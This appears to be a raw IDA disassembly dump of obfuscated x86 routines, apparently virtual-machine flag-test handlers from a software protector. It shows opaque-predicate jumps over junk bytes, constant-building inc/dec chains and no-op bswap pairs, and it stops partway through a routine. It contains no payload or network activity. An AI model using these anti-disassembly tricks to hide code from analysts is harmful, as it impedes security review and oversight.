; Attributes: bp-based frame
sub_4A2138 proc near ; DATA XREF: sub_4965D8+75Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1E00h
pop ebx
jo short loc_4A216C
jl short loc_4A216A
loc_4A2167: ; CODE XREF: sub_4A2138:loc_4A216Aj
; sub_4A2138:loc_4A216Cj
jmp short loc_4A216E
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_4A216A: ; CODE XREF: sub_4A2138+2Dj
jz short loc_4A2167
loc_4A216C: ; CODE XREF: sub_4A2138+2Bj
jmp short loc_4A2167
; ---------------------------------------------------------------------------
loc_4A216E: ; CODE XREF: sub_4A2138:loc_4A2167j
sub bh, 4
inc bh
sub bh, 2
inc bh
inc bh
dec bh
push eax
dec bh
dec bh
inc bh
dec bh
dec bh
jo short loc_4A2190
jl short loc_4A218E
loc_4A218B: ; CODE XREF: sub_4A2138:loc_4A218Ej
; sub_4A2138:loc_4A2190j
jmp short loc_4A2192
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_4A218E: ; CODE XREF: sub_4A2138+51j
jz short loc_4A218B
loc_4A2190: ; CODE XREF: sub_4A2138+4Fj
jmp short loc_4A218B
; ---------------------------------------------------------------------------
loc_4A2192: ; CODE XREF: sub_4A2138:loc_4A218Bj
and eax, 40h
dec bh
sub bh, 12h
sub bh, 3
pop eax
dec bh
and ah, bh
mov edx, 12h
dec dl
sub dl, 1
dec dl
sub dl, 9
inc dl
dec dl
dec dl
dec dl
and al, dl
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3D8
xor ecx, dword_4ED3DC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A21E5
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A21E5: ; CODE XREF: sub_4A2138+A2j
mov eax, [ebp+var_8]
push eax
call off_4F1D30
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A2138 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A21F9 proc near ; DATA XREF: sub_4965D8+223o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
dec bh
and eax, 800h
jo short loc_4A2215
jl short loc_4A2213
loc_4A2210: ; CODE XREF: sub_4A21F9:loc_4A2213j
; sub_4A21F9:loc_4A2215j
jmp short loc_4A2217
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_4A2213: ; CODE XREF: sub_4A21F9+15j
jz short loc_4A2210
loc_4A2215: ; CODE XREF: sub_4A21F9+13j
jmp short loc_4A2210
; ---------------------------------------------------------------------------
loc_4A2217: ; CODE XREF: sub_4A21F9:loc_4A2210j
mov ebx, 4
and eax, ebx
mov ch, 52h
dec ch
mov ebx, [ebp+arg_4]
xor ecx, ecx
or ebx, ecx
jz short loc_4A2236
dec edi
sub ch, 2
dec ch
and eax, 0
jmp short loc_4A2257
; ---------------------------------------------------------------------------
loc_4A2236: ; CODE XREF: sub_4A21F9+30j
dec edi
dec ecx
sub ch, 2
dec ch
dec ch
sub ch, 8
jo short loc_4A224B
jl short loc_4A2249
loc_4A2246: ; CODE XREF: sub_4A21F9:loc_4A2249j
; sub_4A21F9:loc_4A224Bj
jmp short loc_4A224D
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_4A2249: ; CODE XREF: sub_4A21F9+4Bj
jz short loc_4A2246
loc_4A224B: ; CODE XREF: sub_4A21F9+49j
jmp short loc_4A2246
; ---------------------------------------------------------------------------
loc_4A224D: ; CODE XREF: sub_4A21F9:loc_4A2246j
and eax, 0
dec ecx
sub ch, 2
inc eax
dec ch
loc_4A2257: ; CODE XREF: sub_4A21F9+3Bj
mov [ebp+var_8], eax
mov eax, dword_4ED418
xor eax, dword_4ED41C
shl eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 0
jz short loc_4A2279
mov ecx, [ebp+var_4]
or ecx, 1
mov [ebp+var_4], ecx
loc_4A2279: ; CODE XREF: sub_4A21F9+75j
mov edx, [ebp+var_4]
push edx
call off_4F1D70
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A21F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A228D proc near ; DATA XREF: sub_4965D8+2EFo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DEC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 80h
jmp short loc_4A22B6
; ---------------------------------------------------------------------------
mov ebx, 4
loc_4A22B6: ; CODE XREF: sub_4A228D+22j
mov ebx, 41h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
and eax, 0
and ebx, 800h
dec ebx
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
inc eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED41C
xor ecx, dword_4ED420
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A22FE
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A22FE: ; CODE XREF: sub_4A228D+66j
mov eax, [ebp+var_8]
push eax
call off_4F1D74
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A228D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A2312 proc near ; DATA XREF: sub_4965D8+4F8o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_4A2337
jl short loc_4A2335
loc_4A2332: ; CODE XREF: sub_4A2312:loc_4A2335j
; sub_4A2312:loc_4A2337j
jmp short loc_4A2339
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4A2335: ; CODE XREF: sub_4A2312+1Ej
jz short loc_4A2332
loc_4A2337: ; CODE XREF: sub_4A2312+1Cj
jmp short loc_4A2332
; ---------------------------------------------------------------------------
loc_4A2339: ; CODE XREF: sub_4A2312:loc_4A2332j
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 70h
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
jo short loc_4A238D
jl short loc_4A238B
loc_4A2388: ; CODE XREF: sub_4A2312:loc_4A238Bj
; sub_4A2312:loc_4A238Dj
jmp short loc_4A238F
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4A238B: ; CODE XREF: sub_4A2312+74j
jz short loc_4A2388
loc_4A238D: ; CODE XREF: sub_4A2312+72j
jmp short loc_4A2388
; ---------------------------------------------------------------------------
loc_4A238F: ; CODE XREF: sub_4A2312:loc_4A2388j
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
pop ecx
pop ebx
test eax, eax
jnz loc_4A245A
mov eax, [ebp+var_4]
push ebx
mov ebx, 800h
jmp short loc_4A23D6
; ---------------------------------------------------------------------------
mov ebx, 80h
loc_4A23D6: ; CODE XREF: sub_4A2312+BDj
mov ebx, 72h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
add ebx, 8
dec ebx
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
and eax, ebx
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_4A2419
jl short loc_4A2417
loc_4A2412: ; CODE XREF: sub_4A2312:loc_4A2417j
; sub_4A2312:loc_4A2419j
jmp short loc_4A241B
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A2417: ; CODE XREF: sub_4A2312+FEj
jz short loc_4A2412
loc_4A2419: ; CODE XREF: sub_4A2312+FCj
jmp short loc_4A2412
; ---------------------------------------------------------------------------
loc_4A241B: ; CODE XREF: sub_4A2312:loc_4A2412j
sub bl, 5
dec bl
push eax
dec bl
dec bl
and eax, 41h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1500h
dec dh
sub dh, 3
dec dh
sub dh, 7
dec dh
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
pop ecx
cmp ecx, eax
jnz short loc_4A245A
and eax, 0
inc eax
jmp short loc_4A245D
; ---------------------------------------------------------------------------
loc_4A245A: ; CODE XREF: sub_4A2312+AEj
; sub_4A2312+140j
and eax, 0
loc_4A245D: ; CODE XREF: sub_4A2312+146j
mov [ebp+var_C], eax
mov ecx, dword_4ED3F0
xor ecx, dword_4ED3F4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A2480
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A2480: ; CODE XREF: sub_4A2312+163j
mov eax, [ebp+var_8]
push eax
call off_4F1D48
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A2312 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A2494 proc near ; DATA XREF: sub_4965D8+141Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D94
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 98h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
push eax
mov eax, [ebp+var_4]
mov edx, 0F00h
sub dh, 1
dec dh
dec dh
dec dh
dec dh
dec dh
dec dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
jo short loc_4A252E
jl short loc_4A252C
loc_4A2529: ; CODE XREF: sub_4A2494:loc_4A252Cj
; sub_4A2494:loc_4A252Ej
jmp short loc_4A2530
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4A252C: ; CODE XREF: sub_4A2494+93j
jz short loc_4A2529
loc_4A252E: ; CODE XREF: sub_4A2494+91j
jmp short loc_4A2529
; ---------------------------------------------------------------------------
loc_4A2530: ; CODE XREF: sub_4A2494:loc_4A2529j
cmp eax, edx
jo short loc_4A253B
jl short loc_4A2539
loc_4A2536: ; CODE XREF: sub_4A2494:loc_4A2539j
; sub_4A2494:loc_4A253Bj
jmp short loc_4A253D
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4A2539: ; CODE XREF: sub_4A2494+A0j
jz short loc_4A2536
loc_4A253B: ; CODE XREF: sub_4A2494+9Ej
jmp short loc_4A2536
; ---------------------------------------------------------------------------
loc_4A253D: ; CODE XREF: sub_4A2494:loc_4A2536j
setnz cl
mov al, cl
mov [ebp+var_C], eax
mov ecx, dword_4ED3C4
xor ecx, dword_4ED3C8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A2565
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A2565: ; CODE XREF: sub_4A2494+C6j
mov eax, [ebp+var_8]
push eax
call off_4F1D1C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A2494 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A2579 proc near ; DATA XREF: sub_4965D8+C51o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 2
pop ebx
dec bl
dec bl
and al, bl
mov dh, 0Eh
and dl, 0
sub dh, 4
dec dh
sub dh, 1
and ah, dh
pop ebx
pop edx
test eax, eax
jz short loc_4A25C4
not eax
add eax, 1
stc
jmp short loc_4A25CA
; ---------------------------------------------------------------------------
loc_4A25C4: ; CODE XREF: sub_4A2579+41j
not eax
add eax, 1
clc
loc_4A25CA: ; CODE XREF: sub_4A2579+49j
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3D0
xor ecx, dword_4ED3D4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A25F1
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A25F1: ; CODE XREF: sub_4A2579+6Dj
mov eax, [ebp+var_8]
push eax
call off_4F1D28
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A2579 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A2605 proc near ; DATA XREF: sub_4965D8+B2Bo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D80
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
sub bl, 5
dec bl
push eax
and eax, ebx
dec bl
dec bl
and eax, 10h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1100h
sub dh, 1
dec dh
sub dh, 7
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3B0
xor ecx, dword_4ED3B4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A2683
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A2683: ; CODE XREF: sub_4A2605+73j
mov eax, [ebp+var_8]
push eax
call off_4F1D08
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A2605 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A2697 proc near ; DATA XREF: sub_4965D8+679o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 0Fh
pop ebx
dec bl
dec bl
dec bl
dec bl
sub bl, 2
add bl, 0FFh
dec bl
dec bl
add bl, 0FFh
add bl, 0FFh
dec bl
sub bl, 1
add bl, 0FFh
add bl, 0FFh
and al, bl
mov dh, 14h
and dl, 0
dec dh
sub dh, 2
dec dh
dec dh
sub dh, 1
dec dh
dec dh
inc dh
dec dh
dec dh
inc dh
dec dh
inc dh
dec dh
dec dh
inc dh
dec dh
dec dh
dec dh
and ah, dh
pop ebx
pop edx
test eax, eax
jz short loc_4A2721
not eax
add eax, 1
stc
jmp short loc_4A2727
; ---------------------------------------------------------------------------
loc_4A2721: ; CODE XREF: sub_4A2697+80j
not eax
add eax, 1
clc
loc_4A2727: ; CODE XREF: sub_4A2697+88j
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3E8
xor ecx, dword_4ED3EC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A274E
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A274E: ; CODE XREF: sub_4A2697+ACj
mov eax, [ebp+var_8]
push eax
call off_4F1D40
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A2697 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A2762 proc near ; DATA XREF: sub_4965D8+701o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D78
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 0Ch
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 0Dh
inc cl
inc cl
inc cl
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
and eax, ecx
pop ecx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3A8
xor ecx, dword_4ED3AC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A27F2
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A27F2: ; CODE XREF: sub_4A2762+85j
mov eax, [ebp+var_8]
push eax
call off_4F1D00
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A2762 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A2806 proc near ; DATA XREF: sub_4965D8+1433o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D7C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 0Ah
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 0Dh
inc cl
inc cl
inc cl
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
and eax, ecx
pop ecx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3AC
xor ecx, dword_4ED3B0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A2898
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A2898: ; CODE XREF: sub_4A2806+87j
mov eax, [ebp+var_8]
push eax
call off_4F1D04
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A2806 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A28AC proc near ; DATA XREF: sub_4965D8+129Bo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 87h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3D0
xor ecx, dword_4ED3D4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A2942
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A2942: ; CODE XREF: sub_4A28AC+8Bj
mov eax, [ebp+var_8]
push eax
call off_4F1D28
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A28AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A2956 proc near ; DATA XREF: sub_4965D8+965o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 70h
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
neg eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED418
xor ecx, dword_4ED41C
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A2A15
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A2A15: ; CODE XREF: sub_4A2956+B4j
mov eax, [ebp+var_8]
push eax
call off_4F1D70
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A2956 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A2A29 proc near ; DATA XREF: sub_4965D8+13ABo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D8C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 6
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
add ecx, 8
add ecx, 3
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 12h
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
and eax, ecx
pop ecx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3BC
xor ecx, dword_4ED3C0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A2AB1
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A2AB1: ; CODE XREF: sub_4A2A29+7Dj
mov eax, [ebp+var_8]
push eax
call off_4F1D14
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A2A29 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A2AC5 proc near ; DATA XREF: sub_4965D8+773o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov dh, 2
dec dh
dec dh
and ah, dh
mov dl, 0Eh
sub dl, 0FFh
jo short loc_4A2AF8
jl short loc_4A2AF6
loc_4A2AF3: ; CODE XREF: sub_4A2AC5:loc_4A2AF6j
; sub_4A2AC5:loc_4A2AF8j
jmp short loc_4A2AFA
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4A2AF6: ; CODE XREF: sub_4A2AC5+2Cj
jz short loc_4A2AF3
loc_4A2AF8: ; CODE XREF: sub_4A2AC5+2Aj
jmp short loc_4A2AF3
; ---------------------------------------------------------------------------
loc_4A2AFA: ; CODE XREF: sub_4A2AC5:loc_4A2AF3j
sub dl, 0FFh
sub dl, 0FFh
sub dl, 0Ah
sub dl, 0FFh
sub dl, 0FFh
sub dl, 5
dec dl
dec dl
dec dl
sub dl, 3
sub dl, 0FFh
dec dl
inc dl
inc dl
inc dl
and al, dl
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED414
xor ecx, dword_4ED418
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A2B4B
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A2B4B: ; CODE XREF: sub_4A2AC5+7Bj
mov eax, [ebp+var_8]
push eax
call off_4F1D6C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A2AC5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A2B5F proc near ; DATA XREF: sub_4965D8+74o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D80
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 70h
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
jo short loc_4A2BCF
jl short loc_4A2BCD
loc_4A2BCA: ; CODE XREF: sub_4A2B5F:loc_4A2BCDj
; sub_4A2B5F:loc_4A2BCFj
jmp short loc_4A2BD1
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4A2BCD: ; CODE XREF: sub_4A2B5F+69j
jz short loc_4A2BCA
loc_4A2BCF: ; CODE XREF: sub_4A2B5F+67j
jmp short loc_4A2BCA
; ---------------------------------------------------------------------------
loc_4A2BD1: ; CODE XREF: sub_4A2B5F:loc_4A2BCAj
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
pop ebx
test eax, eax
jnz loc_4A2CE5
mov eax, [ebp+var_4]
jo short loc_4A2C16
jl short loc_4A2C14
loc_4A2C11: ; CODE XREF: sub_4A2B5F:loc_4A2C14j
; sub_4A2B5F:loc_4A2C16j
jmp short loc_4A2C18
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4A2C14: ; CODE XREF: sub_4A2B5F+B0j
jz short loc_4A2C11
loc_4A2C16: ; CODE XREF: sub_4A2B5F+AEj
jmp short loc_4A2C11
; ---------------------------------------------------------------------------
loc_4A2C18: ; CODE XREF: sub_4A2B5F:loc_4A2C11j
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
